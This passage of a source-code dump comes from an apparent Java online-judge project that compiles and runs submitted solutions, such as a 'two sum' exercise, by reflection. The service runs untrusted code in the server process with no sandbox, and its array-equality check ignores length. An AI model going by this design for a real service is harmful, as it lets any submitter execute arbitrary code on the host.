    "content": "package com.lzb.onlinejava.complier.dto;\n\npublic class JavaComileResult {\n\n    private Boolean state;  // 整体状态码\n\n    private ResultItem[] resultItems;\n\n    public Boolean getState() {\n        return state;\n    }\n\n    public void setState(Boolean state) {\n        this.state = state;\n    }\n\n    public ResultItem[] getResultItems() {\n        return resultItems;\n    }\n\n    public void setResultItems(ResultItem[] resultItems) {\n        this.resultItems = resultItems;\n    }\n\n    public static class ResultItem {\n         String testData; // 测试数据\n         private Boolean state; //测试是否通过\n\n        public String getTestData() {\n            return testData;\n        }\n\n        public void setTestData(String testData) {\n            this.testData = testData;\n        }\n\n        public Boolean getState() {\n            return state;\n        }\n\n        public void setState(Boolean state) {\n            this.state = state;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/dto/SubjectDetail.java",
    "content": "package com.lzb.onlinejava.complier.dto;\n\npublic class SubjectDetail {\n    private String title;\n    private String initcode;\n    private String describe;\n    private String example;\n\n    public String getTitle() {\n        return title;\n    }\n\n    public void setTitle(String title) {\n        this.title = title;\n    }\n\n    public String getInitcode() {\n        return initcode;\n    }\n\n    public void setInitcode(String initcode) {\n        this.initcode = initcode;\n    }\n\n    public String getDescribe() {\n        return describe;\n    }\n\n    public void setDescribe(String describe) {\n        this.describe = describe;\n    }\n\n    public String getExample() {\n        return example;\n    }\n\n    public void setExample(String example) {\n        this.example = example;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/dto/SubjectResult.java",
    "content": "package com.lzb.onlinejava.complier.dto;\n\npublic class SubjectResult {\n    private int status;\n    private String info;\n    private String input;\n    private String output;\n    private String expect;\n\n\n    public SubjectResult() {\n    }\n\n    public SubjectResult(int status, String info) {\n        this.status = status;\n        this.info = info;\n    }\n\n\n    public int getStatus() {\n        return status;\n    }\n\n    public void setStatus(int status) {\n        this.status = status;\n    }\n\n    public String getInfo() {\n        return info;\n    }\n\n    public void setInfo(String info) {\n        this.info = info;\n    }\n\n    public String getInput() {\n        return input;\n    }\n\n    public void setInput(String input) {\n        this.input = input;\n    }\n\n    public String getOutput() {\n        return output;\n    }\n\n    public void setOutput(String output) {\n        this.output = output;\n    }\n\n    public String getExpect() {\n        return expect;\n    }\n\n    public void setExpect(String expect) {\n        this.expect = expect;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/enums/InvokeTypeEnum.java",
    "content": "package com.lzb.onlinejava.complier.enums;\n\npublic enum InvokeTypeEnum {\n    intType(1, int.class),\n    stringType(2, String.class),\n    intArrayType(3, int[].class),\n    stringArrayType(4, String[].class);\n\n\n    private int code;\n    private Class cls;\n\n    InvokeTypeEnum(int code, Class cls) {\n        this.code = code;\n        this.cls = cls;\n    }\n\n    public Class getCls() {\n        return this.cls;\n    }\n\n    public int getCode() {\n        return this.code;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/enums/ResultTypeEnum.java",
    "content": "package com.lzb.onlinejava.complier.enums;\n\n\n/**\n * author: haiyangp\n * date:  2017/9/26\n * desc: 请求结果ENUM\n */\npublic enum ResultTypeEnum {\n    ok(200), fail(400), error(500);\n    private Integer typeCode;\n\n    ResultTypeEnum(Integer code) {\n        this.typeCode = code;\n    }\n\n    public Integer getTypeCode() {\n        return typeCode;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/exception/ComplieException.java",
    "content": "package com.lzb.onlinejava.complier.exception;\n\n/**\n * author: haiyangp\n * date:  2017/9/22\n * desc:  编译异常\n */\npublic class ComplieException extends RuntimeException {\n    public ComplieException(String message) {\n        super(message);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/service/JavaComileService.java",
    "content": "package com.lzb.onlinejava.complier.service;\n\nimport com.lzb.onlinejava.complier.vo.ResultResponse;\n\n/**\n * author: haiyangp\n * date:  2017/9/22\n * desc: JAVA编译器service接口\n */\npublic interface JavaComileService {\n\n    /**\n     * 编译，并获取编译后的class类\n     *\n     * @param javaSource JAVA代码\n     * @return 编译后的CLASS\n     */\n    Class complie(String javaSource, String className) throws Exception;\n\n    /**\n     * 执行MAIN方法\n     *\n     * @param clazz 编译后的CLASS\n     * @return 执行结果\n     */\n    ResultResponse excuteMainMethod(Class clazz) throws Exception;\n\n    /**\n     * 执行MAIN方法\n     *\n     * @param clazz 编译后的CLASS\n     * @param args  运行参数数组\n     * @return 执行结果\n     */\n    ResultResponse excuteMainMethod(Class clazz, String[] args) throws Exception;\n\n    /**\n     * 执行MAIN方法\n     *\n     * @param timeLimit 时间限制\n     */\n    ResultResponse excuteMainMethod(Class clazz, Long timeLimit) throws Exception;\n\n    /**\n     * 执行MAIN方法\n     *\n     * @param timeLimit 时间限制\n     * @param args 运行参数数组\n     */\n    ResultResponse excuteMainMethod(Class clazz, Long timeLimit,String[] args) throws Exception;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/service/impl/JavaComplieServiceImpl.java",
    "content": "package com.lzb.onlinejava.complier.service.impl;\n\nimport com.lzb.onlinejava.complier.config.Constans;\nimport com.lzb.onlinejava.complier.enums.ResultTypeEnum;\nimport com.lzb.onlinejava.complier.exception.ComplieException;\nimport com.lzb.onlinejava.complier.service.JavaComileService;\nimport com.lzb.onlinejava.complier.util.ClassClassLoader;\nimport com.lzb.onlinejava.complier.util.DeleteFileUtil;\nimport com.lzb.onlinejava.complier.vo.ResultResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Service;\n\nimport javax.tools.*;\nimport java.io.*;\nimport java.lang.reflect.Method;\nimport java.net.URI;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.*;\n\n@Service\npublic class JavaComplieServiceImpl implements JavaComileService {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Override\n    public Class complie(String javaSource, String className) throws Exception {\n\n        JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();\n        StandardJavaFileManager standardFileManager = javaCompiler.getStandardFileManager(null, null, null);\n        long currentTime = System.currentTimeMillis();\n        StringObject so = new StringObject(className, javaSource);\n        JavaFileObject file = so;\n        Iterable options = Arrays.asList(\"-d\", Constans.classPath);\n        Iterable<? extends JavaFileObject> files = Arrays.asList(file);\n\n        JavaCompiler.CompilationTask task = javaCompiler.getTask(null, standardFileManager, null, options, null, files);\n\n//        // 先删除之前的class\n//        DeleteFileUtil.deleteFile(className);\n\n        // 在这就会在目录下产生 class文件\n        Boolean result = task.call();\n        if (result) {\n            logger.info(\"complie java source success!\");\n        } else {\n            logger.info(\"complie java scoure fail!\");\n            throw new ComplieException(\"complie java scoure fail exception\");\n        }\n        return loadClass(className);\n    }\n\n\n\n    /**\n     * 加载CLASS\n     *\n     * @param clasName 类名\n     * @return class文件\n     */\n    public Class loadClass(String clasName) throws Exception {\n//        Class<?> clazz = Class.forName(\"Main\");\n        //用自定义classLoader加载这个class\n        ClassClassLoader classClassLoader = new ClassClassLoader(getClass().getClassLoader());\n        Class<?> clazz = classClassLoader.loadClass(clasName);\n        return clazz;\n    }\n\n\n    @Override\n    public ResultResponse excuteMainMethod(Class clazz) throws Exception {\n        return excuteMainMethodWithClass(clazz, new String[]{});\n    }\n\n    @Override\n    public ResultResponse excuteMainMethod(Class clazz, String[] args) throws Exception {\n        return excuteMainMethodWithClass(clazz, args);\n    }\n\n    @Override\n    public ResultResponse excuteMainMethod(Class clazz, Long timeLimit) throws Exception {\n        return excuteMainMethod(clazz, timeLimit, new String[]{});\n    }\n\n    @Override\n    public ResultResponse excuteMainMethod(Class clazz, Long timeLimit, String[] args) throws Exception {\n        final ExecutorService executorService = Executors.newFixedThreadPool(10);\n        List<FutureTask<ResultResponse>> futureTaskList = new ArrayList<>();\n        Callable<ResultResponse> mainMethodExcuteCallable = new Callable<ResultResponse>() {\n            @Override\n            public ResultResponse call() throws Exception {\n                return excuteMainMethodWithClass(clazz, args);\n            }\n        };\n        FutureTask<ResultResponse> futureTask = new FutureTask<ResultResponse>(mainMethodExcuteCallable);\n        futureTaskList.add(futureTask);\n        executorService.submit(futureTask);//提交到线程池中去执行\n        //只里仅仅为了测试，这样写,把多线程当没有线程来用，意思一下\n        ResultResponse resultResponse = null;\n        FutureTask<ResultResponse> taskItem = futureTaskList.get(0);\n//        for (FutureTask<ResultResponse> taskItem : futureTaskList) {\n        try {\n            resultResponse = taskItem.get(timeLimit, TimeUnit.MILLISECONDS);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        } catch (ExecutionException e) {\n            e.printStackTrace();\n        } catch (TimeoutException e) {\n            taskItem.cancel(true);//超时，就取消\n            e.printStackTrace();\n            throw new RuntimeException(\"运行超时了！限定时间为:\" + timeLimit + \"毫秒\");\n        }\n//        }\n        return resultResponse;\n    }\n\n    private ResultResponse excuteMainMethodWithClass(Class clazz, String[] args) throws Exception {\n        setInputArgs(args);\n        ByteArrayOutputStream baoStream = new ByteArrayOutputStream(1024);\n        PrintStream cacheStream = new PrintStream(baoStream);\n        PrintStream oldStream = System.out;\n        System.setOut(cacheStream);//将输出结果保持到baoStream中，以便后面用\n        //执行Main方法\n        Method method = clazz.getMethod(Constans.excuteMainMethodName, String[].class);\n\n        Long startTime = System.currentTimeMillis();//开始时间\n\n        method.invoke(null, (Object) new String[]{});\n\n        Long endTime = System.currentTimeMillis();//结束时间\n\n        System.setOut(oldStream);//将输出打印到控制台\n        String reusltInfo = baoStream.toString();\n        ResultResponse resultResponse = new ResultResponse();\n        resultResponse.setExcuteResult(reusltInfo);\n        resultResponse.setExcuteDurationTime(endTime - startTime);\n        resultResponse.setResultTypeEnum(ResultTypeEnum.ok);\n        resultResponse.setMessage(\"ok\");\n        return resultResponse;\n    }\n\n    /**\n     * 将args参数设为程序运行时的参数\n     *\n     * @param args 参数数组\n     */\n    private void setInputArgs(String[] args) {\n        StringBuffer argSb = new StringBuffer();\n        for (String argItem : args) {\n            argSb.append(argItem);\n            argSb.append(\" \");\n        }\n        BufferedInputStream argInputStrem = new BufferedInputStream(new ByteArrayInputStream(argSb.toString().getBytes()));\n        System.setIn(argInputStrem);\n    }\n\n\n    private class StringObject extends SimpleJavaFileObject {\n        private String contents = null;\n\n        public StringObject(String clasName, String contents) throws Exception {\n            super(URI.create(\"String:///\" + clasName + Kind.SOURCE.extension), Kind.SOURCE);\n            this.contents = contents;\n        }\n\n        @Override\n        public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {\n            return contents;\n        }\n    }\n\n\n    public static void main(String[] args) {\n            String code = \"public class Main {\\n\" +\n                    \"\\tpublic static void main(String[] args){\\n\" +\n                    \"\\t\\tSystem.out.println(\\\"hello\\t\\t\\t\\t\\tworld\\\");\\n\" +\n                    \"\\t}\\n\" +\n                    \"}\";\n            System.out.println(code);\n            JavaComplieServiceImpl javaComplieService = new JavaComplieServiceImpl();\n            try {\n                Class clazz = javaComplieService.complie(code, \"Main\");\n                Method method = clazz.getMethod(\"main\", String[].class);\n                Object obj = method.invoke(clazz.newInstance(), (Object) new String[]{\"fuck\", \"you\"});\n//                System.out.println(\"返回值:\" + obj.toString());\n//                ResultResponse resultResponse = javaComplieService.excuteMainMethod(clazz);\n//                System.out.println(\"--------->\" + resultResponse.getExcuteResult());\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/subject/Subject.java",
    "content": "package com.lzb.onlinejava.complier.subject;\n\nimport com.lzb.onlinejava.complier.dto.SubjectResult;\n\npublic interface Subject {\n//    public String title = \"title\";\n//    public String initcode = \"initcode\";\n//    public String describe = \"describe\";\n//    public String example = \"example\";\n\n    public String getTitle();\n    public String getIntitCode();\n    public String getDescribe();\n    public String getExample();\n\n\n    /**\n     * 对应界面 执行代码\n     * @param javaCode\n     * @return\n     */\n    public SubjectResult execueMethod(String javaCode);\n\n    /**\n     * 对应界面 提交\n     * @param javaCode\n     * @return\n     */\n    public SubjectResult submit(String javaCode);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/subject/Subject1Impl.java",
    "content": "package com.lzb.onlinejava.complier.subject;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONArray;\nimport com.lzb.onlinejava.complier.dto.SubjectResult;\nimport com.lzb.onlinejava.complier.service.JavaComileService;\nimport com.lzb.onlinejava.complier.service.impl.JavaComplieServiceImpl;\nimport com.lzb.onlinejava.complier.util.EqualUtil;\nimport com.lzb.onlinejava.complier.util.ToStringUtil;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.List;\n\npublic class Subject1Impl implements Subject {\n\n    public String title = \"两数之和\";\n\n    public String initcode = \"public class Solution {\\n\" +\n            \"    public int[] twoSum(int[] nums, int target) {\\n\" +\n            \"        int[] a = new int[2];\\n\" +\n            \"            a[0] = 0;\\n\" +\n            \"            a[1] = 1;\\n\" +\n            \"        return a;\\n\" +\n            \"     \\n\" +\n            \"    }\\n\" +\n            \"}\\n\";\n\n    public String describe =  \"<p>给定一个整数数组 <code>nums</code>&nbsp;和一个目标值 <code>target</code>，请你在该数组中找出和为目标值的那&nbsp;<strong>两个</strong>&nbsp;整数，并返回他们的数组下标。</p>\\n\" +\n            \"                                <p>你可以假设每种输入只会对应一个答案。但是，你不能重复利用这个数组中同样的元素。</p>\";\n\n\n    public String example = \"给定 nums = [2, 7, 11, 15], target = 9<br>\" +\n            \"因为 nums[<strong>0</strong>] + nums[<strong>1</strong>] = 2 + 7 = 9<br>\" +\n            \"所以返回 [<strong>0, 1</strong>]\";\n\n\n    private String arg1 = \"[[2,7,11,15], [1,4,6,2]]\";\n    private String arg2 = \"[9,8]\";\n    private String result = \"[[0,1], [2,3]]\";\n\n    public String methodName = \"twoSum\";\n\n    @Override\n    public String getTitle() {\n        return this.title;\n    }\n\n    @Override\n    public String getIntitCode() {\n        return this.initcode;\n    }\n\n    @Override\n    public String getDescribe() {\n        return this.describe;\n    }\n\n    @Override\n    public String getExample() {\n        return this.example;\n    }\n\n    /**\n     * 执行代码\n     * @param javaCode\n     * @return\n     */\n    @Override\n    public SubjectResult execueMethod(String javaCode) {\n        JSONArray array1 = JSON.parseArray(arg1);\n        JSONArray array2 = JSON.parseArray(arg2);\n        JSONArray resultArray = JSON.parseArray(result);\n        JavaComileService javaComileService = new JavaComplieServiceImpl();\n        Class runClass = null;\n        try {\n            runClass = javaComileService.complie(javaCode, \"Solution\");\n        } catch (Exception e) {\n            e.printStackTrace();\n            return new SubjectResult(0, \"编译错误\");\n        }\n\n        Method method = null;\n        try {\n            method = runClass.getMethod(methodName, int[].class, int.class);\n        } catch (NoSuchMethodException e) {\n            e.printStackTrace();\n        }\n\n\n        JSONArray intJSONArray = array1.getJSONArray(0);\n\n        int[] arg1 = JSONArrayToIntArray(intJSONArray);\n        System.out.println(arg1.length);\n        int arg2 = array2.getInteger(0);\n        int[] result = JSONArrayToIntArray(resultArray.getJSONArray(0));\n        try {\n            int[] resultIntArray = (int[]) method.invoke(runClass.newInstance(), arg1, arg2);\n            if (!EqualUtil.intArray(resultIntArray, result)) {\n                SubjectResult subjectResult = new SubjectResult();\n                subjectResult.setStatus(0);\n                subjectResult.setInfo(\"第:\" + 0 + \"个测试用例没通过\");\n                subjectResult.setInput(\"arg1:\" + ToStringUtil.IntArrayToString(arg1) + \"arg2:\" + arg2);\n                subjectResult.setOutput(ToStringUtil.IntArrayToString(resultIntArray));\n                subjectResult.setExpect(ToStringUtil.IntArrayToString(result));\n                return subjectResult;\n\n            }\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        } catch (InvocationTargetException e) {\n            e.printStackTrace();\n        } catch (InstantiationException e) {\n            e.printStackTrace();\n        }\n        return new SubjectResult(1, \"测试完成\");\n    }\n\n\n    /**\n     * 提交代码\n     * @param javaCode\n     * @return\n     */\n    @Override\n    public SubjectResult submit(String javaCode) {\n        JSONArray array1 = JSON.parseArray(arg1);\n        JSONArray array2 = JSON.parseArray(arg2);\n        JSONArray resultArray = JSON.parseArray(result);\n        JavaComileService javaComileService = new JavaComplieServiceImpl();\n        Class runClass = null;\n        try {\n            runClass = javaComileService.complie(javaCode, \"Solution\");\n        } catch (Exception e) {\n            e.printStackTrace();\n            return new SubjectResult(0, \"编译错误\");\n        }\n\n        Method method = null;\n        try {\n            method = runClass.getMethod(methodName, int[].class, int.class);\n        } catch (NoSuchMethodException e) {\n            e.printStackTrace();\n            return new SubjectResult(0, \"运行错误\");\n        }\n\n        for (int i = 0; i < array1.size(); i++) {\n            JSONArray intJSONArray = array1.getJSONArray(i);\n\n            int[] arg1 = JSONArrayToIntArray(intJSONArray);\n            System.out.println(arg1.length);\n            int arg2 = array2.getInteger(i);\n            int[] result = JSONArrayToIntArray(resultArray.getJSONArray(i));\n            try {\n                int[] resultIntArray = (int[]) method.invoke(runClass.newInstance(), arg1, arg2);\n                if (!EqualUtil.intArray(resultIntArray, result)) {\n                    SubjectResult subjectResult = new SubjectResult();\n                    subjectResult.setStatus(0);\n                    subjectResult.setInfo(\"第:\" + i + \"个测试用例没通过\");\n                    subjectResult.setInput(\"arg1:\" + ToStringUtil.IntArrayToString(arg1) + \"arg2:\" + arg2);\n                    subjectResult.setOutput(ToStringUtil.IntArrayToString(resultIntArray));\n                    subjectResult.setExpect(ToStringUtil.IntArrayToString(result));\n                    return subjectResult;\n\n                }\n            } catch (IllegalAccessException e) {\n                e.printStackTrace();\n            } catch (InvocationTargetException e) {\n                e.printStackTrace();\n            } catch (InstantiationException e) {\n                e.printStackTrace();\n            }\n\n        }\n        return new SubjectResult(1, \"测试通过\");\n\n    }\n\n\n    private int[] JSONArrayToIntArray(JSONArray intJSONArray) {\n        List<Integer> intList = intJSONArray.toJavaList(Integer.class);\n        int[] intArray = new int[intList.size()];\n        for (int i = 0; i < intList.size(); i++) {\n            intArray[i] = intList.get(i);\n        }\n        return intArray;\n\n    }\n\n    public static void main(String[] args) {\n        new Subject1Impl().execueMethod(\"f\");\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/subject/SubjectFactory.java",
    "content": "package com.lzb.onlinejava.complier.subject;\n\n/**\n * 根据 subjectid 创建 subject 的工厂类\n */\npublic class SubjectFactory {\n\n    public static Subject getBySubjectId(int subjectId) {\n        switch (subjectId) {\n            case 1:\n                return new Subject1Impl();\n        }\n\n\n        return null;\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/testJava/Solution.java",
    "content": "package com.lzb.onlinejava.complier.testJava;\n\n/**\n * @author: bin\n * @email: 958615915@qq.com\n * @create: 2019-08-03\n */\npublic class Solution {\n    public String sayHello() {\n        return \"hello word\";\n    }\n\n    public String sayHello(String[] strs) {\n        String s = \"\";\n        for (int i = 0; i < strs.length; i++) {\n            s = s + strs[i];\n        }\n        return s;\n    }\n\n    public String sayHello(int i, int j) {\n        return \"i + j =\" + (i + j);\n    }\n\n    public Boolean isTrue() {\n        return true;\n    }\n\n    public int[] sayIntArray() {\n        return new int[]{1, 3, 43};\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/ClassClassLoader.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\n\nimport com.lzb.onlinejava.complier.config.Constans;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.Channels;\nimport java.nio.channels.FileChannel;\nimport java.nio.channels.WritableByteChannel;\n\n/**\n * author: haiyangp\n * date:  2017/9/23\n * desc:  自定义classLoader,用来加载动态编译好的CLASS文件\n */\npublic class ClassClassLoader extends ClassLoader {\n    private String path = Constans.classPath;\n\n    public ClassClassLoader(ClassLoader parent) {\n        super(parent);\n    }\n\n//    @Override\n//    public Class<?> loadClass(String name) throws ClassNotFoundException {\n//        Class<?> clazz = findLoadedClass(name);\n//        if (null == clazz) {\n//            ClassLoader parentParent = getParent().getParent();\n//            try {\n//                clazz = parentParent.loadClass(name);\n//            } catch (ClassNotFoundException e) {\n//\n//            }\n//            if (null == clazz) {\n//                clazz = findClass(name);\n//            }\n//        }\n//        return clazz;\n//    }\n\n\n    @Override\n    protected Class<?> findClass(String name) throws ClassNotFoundException {\n        //这个classLoader的主要方法\n        String classPath = name.replace(\".\", \"\\\\\") + \".class\";//将包转为目录\n        String classFile = path + classPath;//拼接完整的目录\n        Class clazz = null;\n        try {\n            byte[] data = getClassFileBytes(classFile);\n            clazz = defineClass(name, data, 0, data.length);\n            if (null == clazz) {//如果在这个类加载器中都不能找到这个类的话，就真的找不到了\n\n\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return clazz;\n\n    }\n\n    private byte[] getClassFileBytes(String classFile) throws Exception {\n        //采用NIO读取\n        FileInputStream fis = new FileInputStream(classFile);\n        FileChannel fileC = fis.getChannel();\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        WritableByteChannel outC = Channels.newChannel(baos);\n        ByteBuffer buffer = ByteBuffer.allocateDirect(1024);\n        while (true) {\n            int i = fileC.read(buffer);\n            if (i == 0 || i == -1) {\n                break;\n            }\n            buffer.flip();\n            outC.write(buffer);\n            buffer.clear();\n        }\n        fis.close();\n        return baos.toByteArray();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/DeleteFileUtil.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.io.FilenameUtils;\nimport org.springframework.util.ResourceUtils;\n\n/**\n * 根据文件的名字到对应的文件夹下面删除对应的文件\n * \n * @author QiaoLiQiang\n * @time 2018年2月6日下午2:22:40\n */\npublic class DeleteFileUtil {\n    /**\n     * 删除文件(因为一个文件可能存在pdf,doc,docx三种格式，因此需要删除)\n     * \n     * @param fileName\n     * @return\n     */\n    public static boolean deleteFile(String fileName) {\n        if (fileName == null) {\n            return false;\n        }\n        String dir = ResourcesUtil.getValue(\"path\", \"file\");// 获取文件的基本目录\n        String baseName = FilenameUtils.getBaseName(fileName);// 获取文件的基本名字\n        System.out.println(\"baseName:\" + baseName);\n        try {\n            FileUtils.forceDeleteOnExit(new File(dir + baseName + \".class\"));\n        } catch (IOException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        return true;\n    }\n\n    /**\n     * 到存放图片的文件夹下面删除图片\n     * \n     * @param fileName\n     * @return\n     */\n    public static boolean deletePicture(String fileName) {\n        if (fileName == null) {\n            return false;\n        }\n        String dir = ResourcesUtil.getValue(\"path\", \"picture\");// 获取文件图片的基本目录\n        try {\n            FileUtils.forceDeleteOnExit(new File(dir + fileName));\n        } catch (IOException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        return true;\n    }\n\n    public static void main(String[] args) {\n          String file = ResourcesUtil.getValue(\"path\", \"file\");\n          System.out.println(file);\n          DeleteFileUtil.deleteFile(\"Solution.class\");\n//        DeleteFileUtil.deleteFile(\"ef0c4d250561413e9777fb439e8fbc27.doc\");\n//        System.out.println(\"sss\");\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/EqualUtil.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\npublic class EqualUtil {\n\n    public static Boolean intArray(int[] a, int[] b) {\n        int i = 0, j = 0;\n        for (; i < a.length && j < b.length; i++, j++) {\n            if (a[i] != b[j]) {\n                return false;\n            }\n        }\n        return true;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/JavaCodeCompileHelper.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\nimport com.lzb.onlinejava.complier.config.Constans;\n\nimport javax.tools.*;\nimport java.io.IOException;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.net.URI;\nimport java.util.Arrays;\n\n/**\n * @author: bin\n * @email: 958615915@qq.com\n * @create: 2019-08-03\n */\npublic class JavaCodeCompileHelper {\n    // path 是你想把.class 放在哪里的路径，\n    //    private String path = \"C:\\\\Users\\\\bin\\\\Desktop\\\\java\\\\\";\n//    private String path = \"C:\\\\Users\\\\ucmed\\\\Desktop\\\\java\\\\\";\n    private String path = Constans.classPath;\n\n    /**\n     * 将java代码在内存中编译，并获得这个class\n     * @param javaCode\n     * @param className\n     * @return\n     * @throws Exception\n     */\n    public Class compileAndGetClass(String javaCode, String className) throws Exception {\n        JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();\n\n        // StandardJavaFileManager 对象主要负责\n        // 编译文件对象的创建，编译的参数等等，我们只对它做些基本设置比如编译 CLASSPATH 等。\n        StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(null, null, null);\n\n        // JavaFileObject 为类文件上进行操作的工具的文件抽象\n        JavaFileObject javaFileObject = new myJavaFileObject(className, javaCode);\n\n        // Array Map Set 等都属于Itreable类型\n        Iterable options = Arrays.asList(\"-d\", path);\n\n        Iterable<? extends JavaFileObject> files = Arrays.asList(javaFileObject);\n\n        // 通过一些选项，javafileObject， classPath 来获取JvaComiler.ComilationTask\n        JavaCompiler.CompilationTask task = javaCompiler.getTask(null,\n                standardJavaFileManager, null, options, null, files);\n\n        // 将Class 在内存中编译\n        Boolean result = task.call();\n\n        // 通过类名 加载class\n        ClassLoader classLoader = new ClassClassLoader(getClass().getClassLoader());\n        return classLoader.loadClass(className);\n    }\n\n\n    /**\n     *  传入类， 方法名， 参数， 获得返回值\n     * @param cls\n     * @param methodName\n     * @param args\n     * @return\n     * @throws NoSuchMethodException\n     * @throws InvocationTargetException\n     * @throws IllegalAccessException\n     * @throws InstantiationException\n     */\n    public Object executeMethod(Class cls, String methodName, Object... args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {\n        Class[] clsArray;\n\n        // 无参方法\n        if (args == null) {\n            Method method = cls.getMethod(methodName, null);\n            method.setAccessible(true);\n            Object obj = method.invoke(cls.newInstance(), null);\n\n            return obj;\n        }\n\n\n        // 一个String[] 传参\n        if (args instanceof String[]) {\n\n            Method method = cls.getMethod(methodName, String[].class);\n            method.setAccessible(true);\n            // java 的 bug， 为String[] 时要 用 Object 强转\n            Object obj = method.invoke(cls.newInstance(), (Object) args);\n\n            return obj;\n\n\n        // 多个传参\n        } else if (args instanceof Object[]) {\n\n            clsArray = new Class[args.length];\n\n            for (int i = 0; i < args.length; i++) {\n                clsArray[i] = args[i].getClass();\n            }\n            Method method = cls.getMethod(methodName, clsArray);\n            method.setAccessible(true);\n            Object obj = method.invoke(cls.newInstance(),  args);\n\n            return obj;\n\n\n        } else {\n\n        }\n\n        return null;\n\n    }\n\n    public static void main(String[] args) {\n    }\n\n\n    private class myJavaFileObject extends SimpleJavaFileObject {\n        private String contents = null;\n\n        public myJavaFileObject(String clasName, String contents) throws Exception {\n            super(URI.create(\"String:///\" + clasName + Kind.SOURCE.extension), Kind.SOURCE);\n            this.contents = contents;\n        }\n\n        @Override\n        public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {\n            return contents;\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_online_java_complier/src/main/java/com/lzb/onlinejava/complier/util/ResourcesUtil.java",
    "content": "package com.lzb.onlinejava.complier.util;\n\n\n\nimport java.io.Serializable;\nimport java.text.MessageFormat;\nimport java.util.ArrayList;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.ResourceBundle;\nimport java.util.Set;\n\n/**\n * 读取properties文件的工具类\n * @author QiaoLiQiang\n * @time 2018年2月5日下午4:28:18\n */\npublic class ResourcesUtil implements Serializable {\n\n    private static final long serialVersionUID = -7657898714983901418L;\n\n    /**\n     * 系统语言环境，默认为中文zh\n     */\n    public static final String LANGUAGE = \"zh\";\n\n    /**\n     * 系统国家环境，默认为中国CN\n     */\n    public static final String COUNTRY = \"CN\";\n    private static Locale getLocale() {\n        Locale locale = new Locale(LANGUAGE, COUNTRY);\n        return locale;\n    }\n\n    /**\n     * 根据语言、国家、资源文件名和key名字获取资源文件值\n     * \n     * @param language\n     *            语言\n     * \n     * @param country\n     *            国家\n     * \n     * @param baseName\n     *            资源文件名\n     * \n     * @param section\n     *            key名字\n     * \n     * @return 值\n     */\n    private static String getProperties(String baseName, String section) {\n        String retValue = \"\";\n        try {\n            Locale locale = getLocale();\n            ResourceBundle rb = ResourceBundle.getBundle(baseName, locale);\n            retValue = (String) rb.getObject(section);\n        } catch (Exception e) {\n            e.printStackTrace();\n            // TODO 添加处理\n        }\n        return retValue;\n    }\n\n    /**\n     * 通过key从资源文件读取内容\n     * \n     * @param fileName\n     *            资源文件名\n     * \n     * @param key\n     *            索引\n     * \n     * @return 索引对应的内容\n     */\n    public static String getValue(String fileName, String key) {\n        String value = getProperties(fileName,key);\n        return value;\n    }\n\n    public static List<String> gekeyList(String baseName) {\n        Locale locale = getLocale();\n        ResourceBundle rb = ResourceBundle.getBundle(baseName, 